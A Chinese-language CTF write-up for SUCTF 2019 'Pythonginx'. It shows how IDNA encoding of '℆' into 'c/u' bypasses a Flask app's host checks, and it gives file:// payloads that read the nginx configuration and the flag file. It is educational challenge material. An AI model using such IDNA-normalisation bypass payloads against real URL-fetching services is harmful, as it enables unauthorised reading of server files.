[SUCTF 2019]Pythonginx
发现最近做的题都跟CVE关联起来,所以必要深究啊,这里我们来共同探讨一下
题目
拿到题目
右键查看源代码
1 @app.route('/getUrl', methods=['GET', 'POST'])
2 def getUrl():
3 url = request.args.get("url")
4 host = parse.urlparse(url).hostname
5 if host == 'suctf.cc':
6 return "我扌 your problem? 111"
7 parts = list(urlsplit(url))
8 host = parts[1]
9 if host == 'suctf.cc':
10 return "我扌 your problem? 222 " + host
11 newhost = []
12 for h in host.split('.'):
13 newhost.append(h.encode('idna').decode('utf-8'))
14 parts[1] = '.'.join(newhost)
15 #去掉 url 中的空格
16 finalUrl = urlunsplit(parts).split(' ')[0]
17 host = parse.urlparse(finalUrl).hostname
18 if host == 'suctf.cc':
19 return urllib.request.urlopen(finalUrl).read()
20 else:
21 return "我扌 your problem? 333"
22 </code>
23 <!-- Dont worry about the suctf.cc. Go on! -->
24 <!-- Do you know the nginx? -->
分析
我们来通读一遍源码,源码内容很简单
前两个判断 host 是否是 suctf.cc ,如果不是才能继续。然后第三个经过了 decode('utf-8') 之后传进了 urlunsplit 函数,在第三个判断中又必须要等于 suctf.cc 才行。
该题的主要问题是在
h.encode('idna').decode('utf-8')
IDNA实际上是国际化域名
什么是IDN?
国际化域名(Internationalized Domain Name,IDN)又名特殊字符域名,是指部分或完全使用特殊文字或字母组成的互联网域名,包括中文、发育、阿拉伯语、希伯来语或拉丁字母等非英文字母,这些文字经过多字节万国码编码而成。在域名系统中,国际化域名使用punycode转写并以ASCII字符串存储。
℆这个字符,如果使用python3进行idna编码的话
print('℆'.encode('idna'))
结果
b'c/u'
如果再使用utf-8进行解码的话
print(b'c/u'.decode('utf-8'))
结果
c/u
通过这种方法可以绕过本题
Nginx重要配置文件
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
直接构造
file://suctf.c℆sr/local/nginx/conf/nginx.conf
得到lfag的位置
再读取flag内容
file://suctf.c%E2%84%86sr/fffffflag
参考
https://zhuanlan.zhihu.com/p/104885386?utm_source=wechat_session